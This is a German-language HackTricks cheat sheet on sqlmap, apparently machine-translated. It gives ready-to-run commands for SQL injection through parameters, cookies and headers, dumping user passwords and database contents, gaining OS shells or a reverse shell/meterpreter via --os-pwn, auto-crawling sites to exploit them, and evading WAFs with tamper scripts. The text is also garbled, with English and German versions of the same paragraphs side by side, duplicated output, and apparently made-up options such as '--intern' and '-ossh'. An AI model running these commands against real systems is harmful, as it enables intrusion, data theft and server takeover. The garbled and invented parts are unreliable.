<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>


# Grundlegende Argumente für SQLmap

## Generisch
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
### Intern

#### Beschreibung

Die Option `--intern` ermöglicht es, Informationen über die interne Struktur der Datenbank abzurufen.

#### Syntax

```plaintext
--intern
```

#### Beispiel

```plaintext
sqlmap -u "http://example.com/page.php?id=1" --intern
```

#### Erklärung

Die Option `--intern` ermöglicht es, Informationen über die interne Struktur der Datenbank abzurufen. Dies kann hilfreich sein, um die Datenbank besser zu verstehen und mögliche Schwachstellen zu identifizieren.
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### DB-Daten

```plaintext
Parameter: id (GET)
    Typ: numerisch
    Beispiel: 1

[...]

[11:47:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:47:30] [INFO] fetching database names
[11:47:30] [INFO] fetching number of databases
[11:47:30] [INFO] resumed: 3
[11:47:30] [INFO] resumed: information_schema
[11:47:30] [INFO] resumed: mysql
[11:47:30] [INFO] resumed: test
available databases [3]:
[*] information_schema
[*] mysql
[*] test
```

Die Datenbank enthält die folgenden Informationen:

```plaintext
Parameter: id (GET)
    Typ: numerisch
    Beispiel: 1

[...]

[11:47:30] [INFO] Das Back-End-DBMS ist MySQL
Back-End-DBMS: MySQL >= 5.0.12 (MariaDB-Fork)
[11:47:30] [INFO] Abrufen der Datenbanknamen
[11:47:30] [INFO] Abrufen der Anzahl der Datenbanken
[11:47:30] [INFO] Fortgesetzt: 3
[11:47:30] [INFO] Fortgesetzt: information_schema
[11:47:30] [INFO] Fortgesetzt: mysql
[11:47:30] [INFO] Fortgesetzt: test
Verfügbare Datenbanken [3]:
[*] information_schema
[*] mysql
[*] test
```
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Injektionsstelle

## Von Burp/ZAP erfassen

Erfassen Sie die Anfrage und erstellen Sie eine req.txt-Datei
```bash
sqlmap -r req.txt --current-user
```
## GET-Anfrage-Injektion

In some cases, the injection can be performed directly in the URL parameters of a GET request. This type of injection is known as GET request injection.

In einigen Fällen kann die Injektion direkt in den URL-Parametern einer GET-Anfrage durchgeführt werden. Diese Art der Injektion wird als GET-Anfrage-Injektion bezeichnet.

### Basic Syntax

The basic syntax for performing a GET request injection is as follows:

Die grundlegende Syntax für die Durchführung einer GET-Anfrage-Injektion lautet wie folgt:

```
http://example.com/page.php?id=1' OR '1'='1
```

### Exploiting the Injection

To exploit the injection, we can use tools like SQLMap. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities.

Um die Injektion auszunutzen, können wir Tools wie SQLMap verwenden. SQLMap ist ein leistungsstarkes Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injektionslücken automatisiert.

To use SQLMap for GET request injection, we can run the following command:

Um SQLMap für die GET-Anfrage-Injektion zu verwenden, können wir den folgenden Befehl ausführen:

```
sqlmap -u "http://example.com/page.php?id=1" --method GET --data "id=1" --level 5 --risk 3
```

This command tells SQLMap to target the URL `http://example.com/page.php?id=1` using the GET method. The `--level` and `--risk` parameters determine the aggressiveness of the scan.

Dieser Befehl gibt SQLMap den Befehl, die URL `http://example.com/page.php?id=1` mit der GET-Methode anzugreifen. Die Parameter `--level` und `--risk` bestimmen die Aggressivität des Scans.

### Conclusion

GET request injection is a common technique used to exploit SQL injection vulnerabilities in web applications. By injecting malicious SQL code into the URL parameters, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.

Die GET-Anfrage-Injektion ist eine gängige Technik, um SQL-Injektionslücken in Webanwendungen auszunutzen. Indem bösartiger SQL-Code in die URL-Parameter injiziert wird, kann ein Angreifer die Datenbank der Anwendung manipulieren und möglicherweise unbefugten Zugriff auf sensible Informationen erlangen.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POST-Anfrage-Injektion

In einigen Fällen kann es erforderlich sein, eine SQL-Injektion in einer POST-Anfrage durchzuführen, anstatt sie in einer GET-Anfrage zu verwenden. Dies kann der Fall sein, wenn die Anwendung sensible Daten über eine POST-Anfrage sendet oder wenn die Anwendung eine POST-Anfrage erfordert, um bestimmte Aktionen auszuführen.

Um eine POST-Anfrage-Injektion durchzuführen, können Sie das Tool SQLMap verwenden. SQLMap ist ein leistungsstarkes Werkzeug, das speziell für die Durchführung von SQL-Injektionstests entwickelt wurde.

Um SQLMap für eine POST-Anfrage-Injektion zu konfigurieren, müssen Sie die folgenden Parameter angeben:

- `--data`: Dieser Parameter enthält die Daten, die in der POST-Anfrage gesendet werden.
- `--url`: Dieser Parameter enthält die URL der Zielseite.
- `--method`: Dieser Parameter gibt die HTTP-Methode an, die für die Anfrage verwendet werden soll (normalerweise POST).

Ein Beispielbefehl für die Verwendung von SQLMap zur Durchführung einer POST-Anfrage-Injektion lautet wie folgt:

```plaintext
sqlmap -r request.txt --url "http://example.com/login" --method POST
```

In diesem Beispiel wird die POST-Anfrage aus der Datei `request.txt` gelesen und an die URL `http://example.com/login` gesendet. SQLMap analysiert dann die Anfrage und versucht, eine SQL-Injektion zu erkennen und auszunutzen.

Es ist wichtig zu beachten, dass bei der Durchführung einer POST-Anfrage-Injektion die Daten in der Anfrage möglicherweise codiert oder verschlüsselt sind. In solchen Fällen müssen Sie möglicherweise zusätzliche Schritte unternehmen, um die Daten zu decodieren oder zu entschlüsseln, bevor Sie SQLMap verwenden können.

Die Durchführung einer POST-Anfrage-Injektion kann komplexer sein als eine GET-Anfrage-Injektion, eröffnet jedoch zusätzliche Möglichkeiten, um Schwachstellen in einer Anwendung auszunutzen. Es ist wichtig, vorsichtig zu sein und sicherzustellen, dass Sie über die erforderlichen Berechtigungen verfügen, um eine solche Injektion durchzuführen.
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injektionen in Headern und anderen HTTP-Methoden

In addition to injecting payloads in the URL parameters, SQL injection can also be performed by injecting payloads in the headers and other HTTP methods. This can be useful when the application is not vulnerable to traditional SQL injection attacks through URL parameters.

### Injection in Headers

Headers are an important part of the HTTP request and response. They contain information such as the user agent, cookies, and authentication tokens. By injecting payloads in the headers, an attacker can manipulate the behavior of the application.

To perform SQL injection in headers, you can use tools like SQLMap. SQLMap allows you to specify the headers to be used for injection using the `--headers` option. For example:

```
sqlmap -u http://example.com --headers="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
```

### Injection in Other HTTP Methods

Apart from the commonly used GET and POST methods, there are other HTTP methods like PUT, DELETE, and OPTIONS. These methods can also be vulnerable to SQL injection attacks.

To perform SQL injection in other HTTP methods, you can use tools like SQLMap. SQLMap allows you to specify the method to be used for injection using the `--method` option. For example:

```
sqlmap -u http://example.com --method=PUT
```

By injecting payloads in the headers and other HTTP methods, an attacker can exploit SQL injection vulnerabilities in different parts of the application, increasing the chances of a successful attack.
```bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'
```
## Injection zweiter Ordnung

Second order injection, also known as persistent or stored injection, is a type of SQL injection attack that occurs when user-supplied data is stored in a database and later used in a vulnerable query. Unlike traditional SQL injection, where the malicious payload is executed immediately, second order injection involves injecting malicious code that will be executed at a later time.

### How does second order injection work?

The process of second order injection involves the following steps:

1. User-supplied data is submitted to the application and stored in a database.
2. The application retrieves the stored data from the database and uses it in a vulnerable query without proper sanitization or validation.
3. The injected malicious code is executed when the vulnerable query is executed.

### Examples of second order injection

Here are a few examples to illustrate how second order injection can be exploited:

#### Example 1: Comment injection

Consider a blog application that allows users to post comments. The application stores the comments in a database and later displays them on the website. If the application does not properly sanitize or validate the user-supplied data, an attacker can inject malicious SQL code into a comment. When the comment is displayed on the website, the malicious code will be executed, potentially compromising the database.

#### Example 2: File upload vulnerability

In some cases, an application may allow users to upload files, which are then stored in a database. If the application does not properly validate or sanitize the file name, an attacker can upload a file with a malicious name that contains SQL code. When the file is later accessed or processed by the application, the malicious code will be executed.

### Mitigating second order injection

To protect against second order injection attacks, it is important to follow secure coding practices:

- Use parameterized queries or prepared statements to ensure that user-supplied data is properly sanitized before being used in a query.
- Implement input validation and filtering to prevent the submission of malicious data.
- Regularly update and patch your application to fix any known vulnerabilities.
- Conduct regular security audits and penetration testing to identify and address any potential vulnerabilities.

By following these best practices, you can significantly reduce the risk of second order injection attacks and protect your application and data from unauthorized access.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell

Eine der mächtigsten Funktionen von SQLMap ist die Fähigkeit, eine interaktive Shell auf dem Zielserver zu öffnen. Dies ermöglicht es dem Angreifer, Befehle direkt auf dem Server auszuführen und eine vollständige Kontrolle über das System zu erlangen.

Um eine Shell mit SQLMap zu öffnen, verwenden Sie den Befehl `--os-shell` oder `-ossh`. Dieser Befehl öffnet eine interaktive Shell auf dem Zielserver, die es Ihnen ermöglicht, Befehle auszuführen und mit dem System zu interagieren.

```plaintext
sqlmap -u "http://example.com/vulnerable.php?id=1" --os-shell
```

Sobald die Shell geöffnet ist, können Sie Befehle wie `ls`, `pwd`, `cat` und andere verwenden, um das Dateisystem zu erkunden und Dateien zu lesen oder zu ändern. Sie können auch Befehle wie `wget` oder `curl` verwenden, um Dateien herunterzuladen oder hochzuladen.

Es ist wichtig zu beachten, dass das Öffnen einer Shell auf einem Zielserver illegal ist, es sei denn, Sie haben die ausdrückliche Erlaubnis des Eigentümers. Das Ausführen von Befehlen auf einem fremden System ohne Erlaubnis kann zu rechtlichen Konsequenzen führen. Stellen Sie sicher, dass Sie immer die geltenden Gesetze und Vorschriften einhalten, wenn Sie SQLMap oder andere Hacking-Tools verwenden.
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Durchsuchen Sie eine Website mit SQLmap und automatisieren Sie den Exploit

SQLmap ist ein leistungsstolles Tool zur Durchführung von SQL-Injection-Angriffen auf Webanwendungen. Es kann verwendet werden, um Schwachstellen in einer Website zu identifizieren und automatisch Exploits durchzuführen.

Um eine Website mit SQLmap zu durchsuchen und den Exploit automatisch auszuführen, können Sie den folgenden Befehl verwenden:

```bash
sqlmap -u <URL> --crawl=1 --batch --level=5 --risk=3
```

- `<URL>`: Die URL der zu durchsuchenden Website.

Dieser Befehl führt eine Crawling-Operation auf der angegebenen Website durch und versucht, automatisch SQL-Injection-Schwachstellen zu identifizieren. Die Optionen `--crawl=1` aktivieren das Crawling, `--batch` ermöglicht den automatischen Modus, `--level=5` erhöht die Intensität der Tests auf maximales Niveau und `--risk=3` erhöht das Risiko für die Durchführung von Exploits.

SQLmap wird verschiedene Techniken verwenden, um die Schwachstellen zu identifizieren und den Exploit durchzuführen. Es wird versuchen, die Datenbankstruktur zu erkennen, Datenbanknamen abzurufen, Tabellen und Spalten zu extrahieren und schließlich die Daten auszulesen oder zu manipulieren.

Es ist wichtig zu beachten, dass das Ausführen von SQL-Injection-Angriffen ohne die ausdrückliche Zustimmung des Eigentümers der Website illegal ist. SQLmap sollte nur zu Testzwecken auf autorisierten Systemen verwendet werden.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Einen Suffix festlegen

By default, SQLMap appends a suffix to the payload in order to identify the injection point. However, you can customize this suffix by using the `--suffix` option. This can be useful in scenarios where the default suffix is causing issues or conflicts with the target application.

```plaintext
$ sqlmap -u "http://example.com/vuln.php?id=1" --suffix="custom_suffix"
```

This command will set the suffix to "custom_suffix" and SQLMap will use it to identify the injection point in the target URL.

Keep in mind that the suffix should be unique and not interfere with the target application's functionality.
```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```
## Präfix
```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
```
## Hilfe bei der Suche nach einer booleschen Injection

Boolean Injection ist eine Technik, bei der versucht wird, eine SQL-Injection durch Ausnutzung von booleschen Ausdrücken in einer Anwendung zu erreichen. Diese Methode ermöglicht es uns, Informationen aus der Datenbank abzurufen, indem wir gezielte Abfragen stellen und die Antwort anhand der erhaltenen Ergebnisse interpretieren.

Um eine boolesche Injection zu finden, können wir das Tool SQLMap verwenden. SQLMap ist ein leistungsstarkes Werkzeug, das speziell für die Erkennung und Ausnutzung von SQL-Injection-Schwachstellen entwickelt wurde.

Um SQLMap zu verwenden, müssen wir die URL der anfälligen Anwendung angeben und den Parameter identifizieren, der anfällig für eine SQL-Injection ist. Wir können dies tun, indem wir die Anwendung manuell überprüfen oder andere Techniken wie das Crawling der Website oder das Überprüfen des Quellcodes verwenden.

Sobald wir den anfälligen Parameter identifiziert haben, können wir SQLMap verwenden, um die boolesche Injection zu testen. SQLMap wird automatisch verschiedene boolesche Ausdrücke in die Anfrage einfügen und die Antwort interpretieren, um festzustellen, ob die Anwendung anfällig ist.

Um SQLMap für die boolesche Injection zu verwenden, können wir den folgenden Befehl ausführen:

```plaintext
sqlmap -u <URL> --data "<Parameter>=<Wert>" --technique B
```

Hierbei müssen wir `<URL>` durch die URL der anfälligen Anwendung und `<Parameter>` durch den anfälligen Parameter ersetzen. `<Wert>` ist der Wert, den wir für den Parameter verwenden möchten.

SQLMap wird dann verschiedene boolesche Ausdrücke in die Anfrage einfügen und die Antwort analysieren, um festzustellen, ob die Anwendung anfällig ist. Wenn eine boolesche Injection gefunden wird, gibt SQLMap die erzielten Ergebnisse aus.

Es ist wichtig zu beachten, dass das Ausführen von SQLMap auf einer Anwendung ohne Zustimmung des Eigentümers illegal ist. Stellen Sie sicher, dass Sie die erforderlichen Berechtigungen haben, bevor Sie dieses Tool verwenden.
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Manipulation

Die `tamper` Option ermöglicht es, die Anfragen und Antworten während des Angriffs zu manipulieren. Dies kann hilfreich sein, um WAFs (Web Application Firewalls) zu umgehen oder spezifische Angriffsszenarien anzupassen.

### Verwendung

Die `tamper` Option kann mit dem `--tamper` Flag verwendet werden, gefolgt von dem Namen der gewünschten Manipulations-Technik. Mehrere Techniken können durch Kommas getrennt angegeben werden.

```plaintext
--tamper=<Technik(en)>
```

### Beispiele

```plaintext
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment
```

```plaintext
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment,randomcase
```

### Verfügbare Techniken

- `apostrophemask`: Maskiert einzelne Anführungszeichen mit einem Backslash.
- `apostrophenullencode`: Kodiert einzelne Anführungszeichen als NULL (%00).
- `appendnullbyte`: Fügt ein NULL-Byte (%00) am Ende der Payload hinzu.
- `base64encode`: Kodiert die Payload mit Base64.
- `between`: Fügt die Payload zwischen den Zeichen einer Zeichenkette ein.
- `bluecoat`: Fügt ein Leerzeichen vor jedem Zeichen der Payload ein.
- `chardoubleencode`: Kodiert jeden Zeichen der Payload als zwei Hexadezimalzeichen.
- `charencode`: Kodiert jeden Zeichen der Payload als Hexadezimalwert.
- `charunicodeencode`: Kodiert jeden Zeichen der Payload als Unicode-Wert.
- `equaltolike`: Ersetzt Gleichheitszeichen (=) durch LIKE-Operatoren.
- `escapequotes`: Maskiert einzelne Anführungszeichen mit einem Backslash.
- `greatest`: Ersetzt Gleichheitszeichen (=) durch GREATEST-Funktion.
- `halfversionedmorekeywords`: Fügt zusätzliche reservierte Wörter hinzu.
- `ifnull2ifisnull`: Ersetzt IFNULL-Funktion durch IF(ISNULL())-Konstruktion.
- `modsecurityversioned`: Fügt zusätzliche reservierte Wörter hinzu.
- `modsecurityzeroversioned`: Fügt zusätzliche reservierte Wörter hinzu.
- `multiplespaces`: Fügt mehrere Leerzeichen zwischen den Zeichen der Payload ein.
- `nonrecursivereplacement`: Ersetzt reservierte Wörter durch ihre Nicht-Rekursive-Äquivalente.
- `percentage`: Kodiert jeden Zeichen der Payload als Prozentzeichen gefolgt von zwei Hexadezimalzeichen.
- `randomcase`: Ändert die Groß- und Kleinschreibung der Zeichen in der Payload.
- `randomcomments`: Fügt zufällige SQL-Kommentare hinzu.
- `securesphere`: Fügt ein Leerzeichen vor jedem Zeichen der Payload ein.
- `space2comment`: Ersetzt Leerzeichen durch SQL-Kommentare.
- `space2dash`: Ersetzt Leerzeichen durch Bindestriche (-).
- `space2hash`: Ersetzt Leerzeichen durch Hash-Zeichen (#).
- `space2morehash`: Ersetzt Leerzeichen durch mehrere Hash-Zeichen (#).
- `space2mssqlblank`: Ersetzt Leerzeichen durch Leerzeichen in einer MSSQL-Anweisung.
- `space2mssqlhash`: Ersetzt Leerzeichen durch Hash-Zeichen (#) in einer MSSQL-Anweisung.
- `space2mysqlblank`: Ersetzt Leerzeichen durch Leerzeichen in einer MySQL-Anweisung.
- `space2mysqldash`: Ersetzt Leerzeichen durch Bindestriche (-) in einer MySQL-Anweisung.
- `space2plus`: Ersetzt Leerzeichen durch Pluszeichen (+).
- `space2randomblank`: Ersetzt Leerzeichen durch zufällige Anzahl von Leerzeichen.
- `symboliclogical`: Ersetzt logische Operatoren durch ihre symbolischen Äquivalente.
- `unionalltounion`: Ersetzt UNION ALL durch UNION.
- `unmagicquotes`: Entfernt Magic Quotes aus der Payload.
- `versionedkeywords`: Fügt zusätzliche reservierte Wörter hinzu.
- `versionedmorekeywords`: Fügt zusätzliche reservierte Wörter hinzu.
- `xor`: XOR-Verschlüsselung der Payload mit einem Schlüssel.
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Beschreibung |
| :--- | :--- |
| apostrophemask.py | Ersetzt das Apostroph-Zeichen durch sein UTF-8-Vollbreiten-Gegenstück |
| apostrophenullencode.py | Ersetzt das Apostroph-Zeichen durch sein illegales doppeltes Unicode-Gegenstück |
| appendnullbyte.py | Fügt am Ende der Nutzlast ein codiertes NULL-Byte-Zeichen hinzu |
| base64encode.py | Wandelt alle Zeichen in der angegebenen Nutzlast in Base64 um |
| between.py | Ersetzt den größer-als-Operator \('&gt;'\) durch 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Ersetzt anschließend das Zeichen '=' durch den LIKE-Operator |
| chardoubleencode.py | Verdoppelt die URL-Codierung aller Zeichen in der angegebenen Nutzlast \(bereits codierte Zeichen werden nicht verarbeitet\) |
| commalesslimit.py | Ersetzt Vorkommen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
| commalessmid.py | Ersetzt Vorkommen wie 'MID\(A, B, C\)' durch 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Ersetzt Vorkommen wie 'CONCAT\(A, B\)' durch 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | URL-codiert alle Zeichen in der angegebenen Nutzlast \(bereits codierte Zeichen werden nicht verarbeitet\) |
| charunicodeencode.py | Unicode-URL-codiert nicht codierte Zeichen in der angegebenen Nutzlast \(bereits codierte Zeichen werden nicht verarbeitet\). "%u0022" |
| charunicodeescape.py | Unicode-URL-codiert nicht codierte Zeichen in der angegebenen Nutzlast \(bereits codierte Zeichen werden nicht verarbeitet\). "\u0022" |
| equaltolike.py | Ersetzt alle Vorkommen des Gleichheitsoperators \('='\) durch den Operator 'LIKE' |
| escapequotes.py | Schrägstrich-escapiert Anführungszeichen \(' and "\) |
| greatest.py | Ersetzt den größer-als-Operator \('&gt;'\) durch den entsprechenden 'GREATEST'-Operator |
| halfversionedmorekeywords.py | Fügt jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu |
| ifnull2ifisnull.py | Ersetzt Vorkommen wie 'IFNULL\(A, B\)' durch 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Umhüllt die vollständige Abfrage mit einem versionierten Kommentar |
| modsecurityzeroversioned.py | Umhüllt die vollständige Abfrage mit einem null-versionierten Kommentar |
| multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
| nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch geeignete Darstellungen für den Ersatz \(z.B. .replace\("SELECT", ""\)\) Filter |
| percentage.py | Fügt jedem Zeichen ein Prozentzeichen \('%'\) voran |
| overlongutf8.py | Konvertiert alle Zeichen in der angegebenen Nutzlast \(bereits codierte Zeichen werden nicht verarbeitet\) |
| randomcase.py | Ersetzt jedes Schlüsselwort-Zeichen durch einen zufälligen Groß-/Kleinschreibungswert |
| randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
| securesphere.py | Fügt einen speziell erstellten String hinzu |
| sp\_password.py | Fügt 'sp\_password' am Ende der Nutzlast hinzu, um eine automatische Verschleierung in den DBMS-Protokollen zu erreichen |
| space2comment.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch Kommentare |
| space2dash.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch einen Bindestrich-Kommentar \('--'\) gefolgt von einer zufälligen Zeichenkette und einem Zeilenumbruch \('\n'\) |
| space2hash.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch ein Rauten-Zeichen \('\#'\) gefolgt von einer zufälligen Zeichenkette und einem Zeilenumbruch \('\n'\) |
| space2morehash.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch ein Rauten-Zeichen \('\#'\) gefolgt von einer zufälligen Zeichenkette und einem Zeilenumbruch \('\n'\) |
| space2mssqlblank.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
| space2mssqlhash.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch ein Rauten-Zeichen \('\#'\) gefolgt von einem Zeilenumbruch \('\n'\) |
| space2mysqlblank.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
| space2mysqldash.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch einen Bindestrich-Kommentar \('--'\) gefolgt von einem Zeilenumbruch \('\n'\) |
| space2plus.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch ein Plus-Zeichen \('+'\) |
| space2randomblank.py | Ersetzt das Leerzeichen-Zeichen \(' '\) durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
| symboliclogical.py | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke \(&& und |
| unionalltounion.py | Ersetzt UNION ALL SELECT durch UNION SELECT |
| unmagicquotes.py | Ersetzt das Anführungszeichen-Zeichen \('\) durch eine mehrbyte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende \(um es funktionieren zu lassen\) |
| uppercase.py | Ersetzt jedes Schlüsselwort-Zeichen durch den Großbuchstabenwert 'INSERT' |
| varnish.py | Fügt einen HTTP-Header 'X-originating-IP' hinzu |
| versionedkeywords.py | Umschließt jedes nicht-funktionale Schlüsselwort mit einem versionierten MySQL-Kommentar |
| versionedmorekeywords.py | Umschließt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar |
| xforwardedfor.py | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu |


<details>

<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>